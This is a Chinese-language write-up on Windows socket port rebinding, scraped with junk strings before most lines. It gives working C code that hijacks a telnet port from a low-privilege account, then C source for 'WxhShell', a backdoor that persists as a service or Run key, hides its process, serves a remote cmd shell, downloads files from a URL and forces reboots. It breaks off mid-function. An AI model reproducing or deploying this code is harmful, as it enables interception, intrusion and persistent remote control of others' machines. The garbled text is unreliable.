在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
:)^#
xE( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
nR=2eBNf 9Bbm7Gd saddr.sin_family = AF_INET;
#QJ4o_ H]T2$'U6 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
R#[QoyJ ?15POY ?Z bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
"jkw8UVz QZ:]8MHl] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
< -@, LaEX kb*s 这意味着什么?意味着可以进行如下的攻击:
l^!0|/Vw H|UV+Q0, 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
te! ]9rR c0,gfY%sI$ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7cOg(6N ^`hI00u( 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Ba\wq: h4$OXKme? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
C+Fh$ `uaD.m$EJ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
cNuuzA '6dD^0dZ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
xv(xweV+d q;Ar&VrlNq 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
;|;h9" 7DC0 W|Fe #include
2>_brz|7:| #include
IlC:dA #include
32)&; #include
\$$b",2
h DWORD WINAPI ClientThread(LPVOID lpParam);
F$sF
'cw int main()
I;kUG_c(4 {
3;-@<9 WORD wVersionRequested;
$2 +$,: DWORD ret;
&t9XK 8S WSADATA wsaData;
/ ut~jf` BOOL val;
UG^?a SOCKADDR_IN saddr;
*x#&[> SOCKADDR_IN scaddr;
K{r1&O>W int err;
)N%1%bg^- SOCKET s;
FS]+s> SOCKET sc;
7-G'8t int caddsize;
cfy/*| HANDLE mt;
Xdp`Z'g DWORD tid;
]Gi+Z1q wVersionRequested = MAKEWORD( 2, 2 );
2y
.-4?e err = WSAStartup( wVersionRequested, &wsaData );
hq& if ( err != 0 ) {
j
44bF/ printf("error!WSAStartup failed!\n");
nIN%<3U2 return -1;
YiQeI|{oN }
0.{oA`5N saddr.sin_family = AF_INET;
FRJ:ym=E #P,[fgNy //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}77=<N br `pv89aO saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
mw4'z,1Q saddr.sin_port = htons(23);
tl,x@['p` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&d|VH y+ {
EU&3Pdnd printf("error!socket failed!\n");
,nu7r1} return -1;
^%'tD }
>w]k3MC val = TRUE;
w7*b}D@65\ //SO_REUSEADDR选项就是可以实现端口重绑定的
BF1O|Q|d6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
,$zSJzS {
#G4~]Qml printf("error!setsockopt failed!\n");
-XDP-Trk return -1;
u`H@Q&(^wa }
{eD>E(Y@z1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
O(
5L2G //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
<*6y`X //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
MTFVnoZMQ_ ~XT
a= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
p*W ZY=Q {
@qr3v>3X< ret=GetLastError();
E't G5,/m printf("error!bind failed!\n");
_.J[w6 return -1;
,j(p}t }
luxKgcU listen(s,2);
&L~31Ayj& while(1)
)(|0KarF {
lj SR?:\ caddsize = sizeof(scaddr);
uI:3$ //接受连接请求
|@Idf`N$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#3:'lGBIK if(sc!=INVALID_SOCKET)
39a]B`y {
ptc H>wM! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Rp%\`'+Xz if(mt==NULL)
C4SD {
as\K(c9 printf("Thread Creat Failed!\n");
J ]l@ r break;
51;%\@= }
[k&s!Qp }
id[>!fQ=Y CloseHandle(mt);
vdFQf ^l }
V.a]IkK'K closesocket(s);
4Z
T WSACleanup();
'14l )1g. return 0;
Gp3t?7S{T }
%_J/&{6G DWORD WINAPI ClientThread(LPVOID lpParam)
YT%SCaU {
\$\(9!= SOCKET ss = (SOCKET)lpParam;
l<MCmKuYp SOCKET sc;
hb8@br unsigned char buf[4096];
K&P{2Hndr SOCKADDR_IN saddr;
*~oDP@[S long num;
-Fw4;&> DWORD val;
fz?Wr: I DWORD ret;
*y\tns U //如果是隐藏端口应用的话,可以在此处加一些判断
JjO/u>A3;7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
@Q1F#IU saddr.sin_family = AF_INET;
$O</akn; saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\,IDLXqp saddr.sin_port = htons(23);
HgBEV if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qx<zX\qI6n {
^~1@HcJo printf("error!socket failed!\n");
*[5#g3 return -1;
zB7dCw }
= {DB val = 100;
Ko1?jPE if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=<W[dV=W {
hB<z]sl ret = GetLastError();
C00*X[p return -1;
kC#B7*[RM }
SD.*G'N&2f if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%fSk
"%u%< {
9NoPrR=x1 ret = GetLastError();
5xV/&N return -1;
2iINQK$ }
I$qtfGr if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
McI4oD~" {
['YRY B printf("error!socket connect failed!\n");
qmeEUch` closesocket(sc);
ez9M]! 8Lt closesocket(ss);
fq!6#Usf;i return -1;
vlKKPS }
eDZ3SIZ while(1)
X1~A "sW[ {
gR6T]v //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
yaGVY*M0 //如果是嗅探内容的话,可以再此处进行内容分析和记录
.BTT*vL- //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
S gsR;)2 num = recv(ss,buf,4096,0);
=,;3z/k% if(num>0)
`2~Ea_Z send(sc,buf,num,0);
\Nn%*?f else if(num==0)
xF>w r
r break;
iQj{J1V num = recv(sc,buf,4096,0);
E|}Nj}(* if(num>0)
SmEd'YD!J send(ss,buf,num,0);
x@\'@>_GM else if(num==0)
G8c}re
break;
}pZnWK+ }
NOr*+N\ closesocket(ss);
-Z&{$J closesocket(sc);
+|w~j#j9` return 0 ;
aRKG)0= }
1{glRY' e ^&8x lMf5F8 ==========================================================
DLQ`<aU O g~"+IGp 下边附上一个代码,,WXhSHELL
pKlT.<X7 S|h
m ==========================================================
z4UQ:z@
vu
\Dx9 #include "stdafx.h"
@G{DOxE* |#kf.kN #include <stdio.h>
AiI# " #include <string.h>
~Q\ZDMTK #include <windows.h>
Q$5:P& #include <winsock2.h>
(ZSSp1Rv #include <winsvc.h>
'0]_8Sy& #include <urlmon.h>
cuk}VZ AUpC HG7 #pragma comment (lib, "Ws2_32.lib")
F!t13%yeu? #pragma comment (lib, "urlmon.lib")
laJ%fBWmbi } dlNMW #define MAX_USER 100 // 最大客户端连接数
?uBC{KQ}Y #define BUF_SOCK 200 // sock buffer
/Bu5kBC #define KEY_BUFF 255 // 输入 buffer
};sm8P{M ~"B[6^sW #define REBOOT 0 // 重启
dgD%I #define SHUTDOWN 1 // 关机
';V+~pi @_nhA/rlc #define DEF_PORT 5000 // 监听端口
WSwmX3rn nxRrmR}F #define REG_LEN 16 // 注册表键长度
c?Qg:yU #define SVC_LEN 80 // NT服务名长度
KO"iauW ~q>ilnL"h // 从dll定义API
73`UTXvWU typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
n-.k&B{a typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
d)sl)qt}0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
eci\Q, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
&Wk<F3qN 5X-(@GwN // wxhshell配置信息
o%5Ao?z~ struct WSCFG {
<K'gvMG[ int ws_port; // 监听端口
(#Aq*2Z. char ws_passstr[REG_LEN]; // 口令
;OyM~T gI int ws_autoins; // 安装标记, 1=yes 0=no
FX 3[U+ char ws_regname[REG_LEN]; // 注册表键名
|Ay#0uQ5Y char ws_svcname[REG_LEN]; // 服务名
}y/t~f+ char ws_svcdisp[SVC_LEN]; // 服务显示名
GTvb^+6 char ws_svcdesc[SVC_LEN]; // 服务描述信息
Z&!$G'X char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!*-cf$ int ws_downexe; // 下载执行标记, 1=yes 0=no
~h.B\Sc]Q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
bhYaG i0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
y~[So ,G =)bc/309 };
:b-(@a7> OR{"9)I // default Wxhshell configuration
R/|o?qTrj struct WSCFG wscfg={DEF_PORT,
`lzH:B "xuhuanlingzhe",
`,"Jc<R7Z 1,
56dl;Z) "Wxhshell",
Z;:-8 HPDY "Wxhshell",
w{IqzmPiH "WxhShell Service",
-nSqB{s!SD "Wrsky Windows CmdShell Service",
WGn1pW "Please Input Your Password: ",
jnY4(B
1,
@gz?T;EC "
http://www.wrsky.com/wxhshell.exe",
4|thDb)] "Wxhshell.exe"
v0sX'>f };
"{lnSLk jL$X3QS: // 消息定义模块
*PPFk.#x char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
1[ Pbsb char *msg_ws_prompt="\n\r? for help\n\r#>";
Q1yTDJ(2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
C5z4%,`f char *msg_ws_ext="\n\rExit.";
Y._AzJ&B[ char *msg_ws_end="\n\rQuit.";
/2q%'"x( char *msg_ws_boot="\n\rReboot...";
Mt`.|N;y! char *msg_ws_poff="\n\rShutdown...";
[u:_Jqf- char *msg_ws_down="\n\rSave to ";
S]m[$)U%@ ~Ua0pS? char *msg_ws_err="\n\rErr!";
gy.;
"W char *msg_ws_ok="\n\rOK!";
7Jk.U=vY KhvCkQMI@ char ExeFile[MAX_PATH];
x1h!_^(QfF int nUser = 0;
fBmx +7 HANDLE handles[MAX_USER];
#s%$kYp 1 int OsIsNt;
XRkqMq% Jt"Wtr SERVICE_STATUS serviceStatus;
C&gJP7 UF SERVICE_STATUS_HANDLE hServiceStatusHandle;
XJ+sm^`vOf 9q?gmAn. // 函数声明
RB2u1]l int Install(void);
e{=$4F int Uninstall(void);
T5)?6i-N int DownloadFile(char *sURL, SOCKET wsh);
dWA7U6c< int Boot(int flag);
AXFVsZH"zi void HideProc(void);
m" GrpE3 int GetOsVer(void);
:&MiO3#+ int Wxhshell(SOCKET wsl);
2S3F]fG0 void TalkWithClient(void *cs);
B!0[LlF+ int CmdShell(SOCKET sock);
y\x<!_&D int StartFromService(void);
P^UcpU, int StartWxhshell(LPSTR lpCmdLine);
7w|s8B nYY U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
j#,O,\ VOID WINAPI NTServiceHandler( DWORD fdwControl );
_"=~aMXC.) "$_ypgRrSR // 数据结构和表定义
_+i-) SERVICE_TABLE_ENTRY DispatchTable[] =
l_WY];a {
jBM>Pe^`3 {wscfg.ws_svcname, NTServiceMain},
tq[C"| dH {NULL, NULL}
#@G2n@Hj };
}V{,
kK =*pu+o,? // 自我安装
&oBJY'1 int Install(void)
&IPT$=u {
&
CgLF] char svExeFile[MAX_PATH];
4(NI-|q0 HKEY key;
-kO=pYP*O strcpy(svExeFile,ExeFile);
UOyP6ej 7^1ikmYY // 如果是win9x系统,修改注册表设为自启动
[0$Y@ek[ if(!OsIsNt) {
`?:'_Ki if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0)Z7U$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
o?>)CAo RegCloseKey(key);
N{'k
]& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
q:(K^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
iZUBw RegCloseKey(key);
I('l)^m% return 0;
a[/p(O }
p w,.*N3P }
(/^&3xs9 }
F#hM S< else {
wBf
bpoE7 Tb[GZ,/%; // 如果是NT以上系统,安装为系统服务
U[ed#9l> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
/Wa+mp if (schSCManager!=0)
(L\tp>
E- {
WJ%b9{< SC_HANDLE schService = CreateService
3jQ
|C= (
)S]c'}^ schSCManager,
0
[s1!Cm!i wscfg.ws_svcname,
eK`tFs,u wscfg.ws_svcdisp,
T@L^RaPX SERVICE_ALL_ACCESS,
$]_=B Jyu SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~DSle 3 SERVICE_AUTO_START,
*]rV,\z: SERVICE_ERROR_NORMAL,
E^rN) svExeFile,
Ruf*aF( NULL,
>+1bTt/-F NULL,
D=8=wT2< NULL,
[=iq4F'7 NULL,
(Fu9lW}n NULL
R\XJ );
7':|f " if (schService!=0)
@+xQj.jNC {
KMZ% 1=a CloseServiceHandle(schService);
-v]7}[
.[ CloseServiceHandle(schSCManager);
u}pLO9V"` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Mqna0"IYx* strcat(svExeFile,wscfg.ws_svcname);
2JbCYCTC if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
vnKUD| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
6(eyUgnb RegCloseKey(key);
rtPQ:CaA)? return 0;
J~~WV<6 }
cc@y }
LEY$St CloseServiceHandle(schSCManager);
|d{4_o90 }
rx%lL }
lK{h%2A\b w|N LK return 1;
EayZ*e] }
.(! $j-B Ygg+*z
// 自我卸载
d5h:py5 int Uninstall(void)
%kF6y_h` {
Z5v\[i@H! HKEY key;
#Hq XC\~n "wdC/ if(!OsIsNt) {
<_h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"zv?qS RegDeleteValue(key,wscfg.ws_regname);
hivWQ$6% RegCloseKey(key);
X'O3)Yg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Wq]^1g_ RegDeleteValue(key,wscfg.ws_regname);
M4`qi3I RegCloseKey(key);
-_B*~M/vV` return 0;
&kh-2#E }
<"6}C)G }
caS5>wk`R }
L,BuzU[1S else {
:Oxrw5`= h(ZZ7(ue SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"1Vuf<?C if (schSCManager!=0)
g%Eb{~v {
0ZTT^2R SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
y%f'7YZ4 if (schService!=0)
T$!.
:v {
d7A vx if(DeleteService(schService)!=0) {
86oa>#opU CloseServiceHandle(schService);
?m0|>[j CloseServiceHandle(schSCManager);
SIVzc Hm return 0;
b0t/~]9G }
Z!DGCw CloseServiceHandle(schService);
',~,hJ0 }
Re-4y5f CloseServiceHandle(schSCManager);
"H#2 }
8do-z"- }
b{_J%p `-IX"rf return 1;
lx(kbSxF }
:hC+r=!I 4+Wti!s // 从指定url下载文件
-uX): h! int DownloadFile(char *sURL, SOCKET wsh)
:A"GOc, {
4;=+qb HRESULT hr;
]sB-}n) char seps[]= "/";
|bDUekjR char *token;
E{*d`n char *file;
3,t3\`= char myURL[MAX_PATH];
<<4U: char myFILE[MAX_PATH];
yJNQO'wcv @X5F$=aqZr strcpy(myURL,sURL);
d[=~-[ token=strtok(myURL,seps);
4J{6Wt"; while(token!=NULL)
$9bLD
>. {
opc`n}Fc file=token;
?cF`T/z]" token=strtok(NULL,seps);
"2# #Fcu= }
V^apDV\AV /6 QwV-> GetCurrentDirectory(MAX_PATH,myFILE);
H[S[ y strcat(myFILE, "\\");
OlI|.~ strcat(myFILE, file);
4SlEc|'7@ send(wsh,myFILE,strlen(myFILE),0);
j`7q7} send(wsh,"...",3,0);
Bq@_/*'*Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
^Y,nv,gYn if(hr==S_OK)
W"$sN8K>) return 0;
~Z-o2+xA else
"n'kv!?\ return 1;
HtpZ5 t>Lq
"]1 }
n<3qr}ZG^ RzhAXI= // 系统电源模块
KDxqz$14- int Boot(int flag)
?h\fwF3 {
t\S=u y HANDLE hToken;
xl>8B/Zmf# TOKEN_PRIVILEGES tkp;
FLUvFD ~xCv_u^= if(OsIsNt) {
2+s#5K&i OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
owQSy9Az LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
zo83>bt tkp.PrivilegeCount = 1;
[0MNq]gxf tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
?sD4S AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
OGcq]ue if(flag==REBOOT) {
5v5)vv.kd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Vq$8!#~w return 0;
mSeCXCrZlI }
l]R=I2t else {
+adwEYRrr if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
FNlS)Bs return 0;
'-X[T} }
Gn&=<q:H }
P_}wjz}9ZX else {
AdD,94/ if(flag==REBOOT) {
J~}sQ{ 0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
+cWo^ d. return 0;
18nT
Iz_ }
@k+K_gR else {
/Ixv{H)H if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
#fy3i+ return 0;
:_k5[KT.]9 }
|tN:o=
6 }
hg7^#f95u Zz/
z7~{ return 1;
Y]VLouzl }
3FY87R QZ&
4W // win9x进程隐藏模块
WA((>Daf] void HideProc(void)
z94#:jPmG {
k:[T#/; q?y-s HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
{ k>T*/ if ( hKernel != NULL )
;&c9!LfP {
xciwKIpS pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*47HN7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
;vG%[f`K FreeLibrary(hKernel);
7y4jk }
\&/V p`
X6<Ds'I return;
T].Xx` }
zb3,2D+P i"#pk"@` // 获取操作系统版本
Yz)+UF, int GetOsVer(void)
#$X _,+<HZ {
uA4xxY OSVERSIONINFO winfo;
muAgsH$/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
=O%'qUj`q GetVersionEx(&winfo);
xL [3R
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
mor[AJ return 1;
p(>D5uN_}5 else
s}q tM.^W return 0;
p~WX\; }
"^Vnnb:Z*o &6e A. // 客户端句柄模块
.;F%k,!v int Wxhshell(SOCKET wsl)
m$bYx~K {
\NTVg6>qN SOCKET wsh;
X2T_}{ struct sockaddr_in client;
#+&"m7
s DWORD myID;
tH=jaFJ ZZ>F ^t while(nUser<MAX_USER)
%6\L^RP {
4&AGVplgF int nSize=sizeof(client);
>-,$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
{4 {X`$ if(wsh==INVALID_SOCKET) return 1;
0YZ66VN! :{,k F handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
cs9"0&JX if(handles[nUser]==0)
l6-
n{zG closesocket(wsh);
6zIK%< else
7jw5'`;)" nUser++;
!i_~<6Wa7 }
{b|V;/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Q[c:A@oW B[~Q0lPih return 0;
<UY9<o }
5(thDZ ! QtA@p // 关闭 socket
MxOIe|=& void CloseIt(SOCKET wsh)
&z05h<] {
N :OLN[ closesocket(wsh);
.P#t"oW} nUser--;
+
B<7]\\M ExitThread(0);
N6Dv1_c, }
MU4BAN 87F]a3 // 客户端请求句柄
#+H3b!8= void TalkWithClient(void *cs)
d*x&Uh[K {
.qLXjU Bk]
`n'W SOCKET wsh=(SOCKET)cs;
^HU>fkSk char pwd[SVC_LEN];
Tol V3 char cmd[KEY_BUFF];
/[5\T2GI char chr[1];
GX'S4B int i,j;
M?5v oV* Ej $.x6: while (nUser < MAX_USER) {
Yyw9IYB; @"B{k%+ if(wscfg.ws_passstr) {
~x[(1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
GL _hRu //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
sf
O{.#5< //ZeroMemory(pwd,KEY_BUFF);
]E.\ |I( i=0;
{Y3:Y+2X3* while(i<SVC_LEN) {
kZ;Y/DH IOa@dUh7a, // 设置超时
Wj8WT)cB fd_set FdRead;
^B8[B&K struct timeval TimeOut;
#\ECQF FD_ZERO(&FdRead);
8_Z"@ FD_SET(wsh,&FdRead);
2UopGxrPKw TimeOut.tv_sec=8;
=3nA5'UZ TimeOut.tv_usec=0;
vR
(nd int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
vuZ'Wo:S{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
%XQJ!sC` ~R\ $Z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pgW^hj\ pwd
=chr[0]; Qb7&S5m
if(chr[0]==0xd || chr[0]==0xa) { RBHU5]5
pwd=0; 0KZ$v/m
break; OKAmw>{
} 21my9Ui]
i++; wb%4f6i
} Ce~Pms]
`QZKW
// 如果是非法用户,关闭 socket \p%D;g+c
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )=cJW(nfP
} o=-Af|#b
2*V]jO
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5~$WSL?O)
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HIUP
=/x
zCv)%y
while(1) { (1[Z#y[
lR/Uboyy
ZeroMemory(cmd,KEY_BUFF); zcuz @
s`pdy$
// 自动支持客户端 telnet标准 R2Lq??XA=
j=0; aU/y>Y <k
while(j<KEY_BUFF) { B 74
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MShcZtN
cmd[j]=chr[0]; !=HxL-`j
if(chr[0]==0xa || chr[0]==0xd) { 3BAQ2S}
cmd[j]=0; J\N&u#
break; &XW~l>!+
} 5=fS^]- F
j++; )(rr1^Xer
} ]bbP_n8
3NdO3-~)
// 下载文件 $oJjgA xcZ
if(strstr(cmd,"http://")) { #bCUI*N"P
send(wsh,msg_ws_down,strlen(msg_ws_down),0); i ~)V>x
if(DownloadFile(cmd,wsh)) 7#N
?{3i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Xl"H/3r
else jAovzZ6BL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %zR5q Lb
} TW
wE3{iF
else { Zad>iw}
wKoar
switch(cmd[0]) { 6B Hdc
6W~JM^F
// 帮助 X5-[v(/]
case '?': { VCT1GsnE
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +U>Y.YP
break; 9{rE7OX*A
} Iu(]i?Y
// 安装 ZXf&pqmG
case 'i': { fF2]7:
if(Install()) mRt/d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :fUNc^\2
else U lCw{:#F
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nr}O6IJ>Sg
break; xZ* B}O{{H
} b2RW=m-
// 卸载 >"z`))9
case 'r': { FE:}D;$
if(Uninstall()) ^W`RBrJay
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~S<}q6H.
else _,? xc"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /g8nT1k
break; muDOY~.
} o)Px d
// 显示 wxhshell 所在路径 R?dMM
case 'p': { K,+z^{Hvh
char svExeFile[MAX_PATH]; R%\<al$O
strcpy(svExeFile,"\n\r"); ^f0-w`D
strcat(svExeFile,ExeFile); s=1 k9
send(wsh,svExeFile,strlen(svExeFile),0); "Y"`'U=v
break; 9JeT1\VvHY
} Z`Jt6QgW
// 重启 BAG#YZB
case 'b': { ezhfKt]j
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G7KOJZb+D
if(Boot(REBOOT)) %|ioNXMu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [#AI! -
else { n\$.6
_@x
closesocket(wsh); L+mHeS l
ExitThread(0); #KuBEHr
} :bCswgd[
break; wzcv[C-x
} K;`W4:,
// 关机 KI].T+I
case 'd': { +:/.\3v71
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P%d3fFzK
if(Boot(SHUTDOWN)) WDr=+=Zj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {cjp8W8hS
else { ?B`c<H"
closesocket(wsh); 9lkl-b6xG
ExitThread(0); .3SP#mI
} !
GtF%V
break; -I z,vd
} TxKNDu
// 获取shell dsK*YY jH
case 's': { ;Y`8Ee4vH
CmdShell(wsh); !u/c'ZLZ>
closesocket(wsh); i-4?]h k
ExitThread(0);
CUft
break; %6&c3,?U\n
} 5kHU'D
// 退出 VkId6k:>6C
case 'x': { M"Z/E>ne
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g>a%
gVly
CloseIt(wsh); _UbyhBl
break; DweF8c
} UnyJD%a
// 离开 TXbi>t:/S{
case 'q': { C?<[oQb#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); f'tQLF[r<
closesocket(wsh); Z}IuR|=
WSACleanup(); +O8}twt@
exit(1); <d[GGkY]=
break; M=1~BZQ(Z
} E};1
H
} 4KW_#d`t
} >keYx<1
']H*f2y
// 提示信息 =`!#V/=
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \SWuylE
} RGBntp%
} `2j"Z.=
3qDuF
return; D+h`Z]"|
} PpSQf14,
R#ya9GN{
// shell模块句柄 LRdV_O1e6M
int CmdShell(SOCKET sock) \=(U tro
{ DtZ7UX\P
STARTUPINFO si; m$g{&
ZeroMemory(&si,sizeof(si)); =7S\-{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;9)=~)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yJ(ITJE_Z
PROCESS_INFORMATION ProcessInfo; H.O&seY
char cmdline[]="cmd"; ir_X65l/2
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N`vPt?@
return 0; <[17&F0
} !3"Hn
dAaxbP|
// 自身启动模式 uK[gI6M
int StartFromService(void) JaN53,&<
{ 7+$P6[*
typedef struct n]K {-C;
{ "&\]1A}Z-x
DWORD ExitStatus; wFJ*2W:
DWORD PebBaseAddress; y)7;"3Q<
DWORD AffinityMask; = d !YM6G
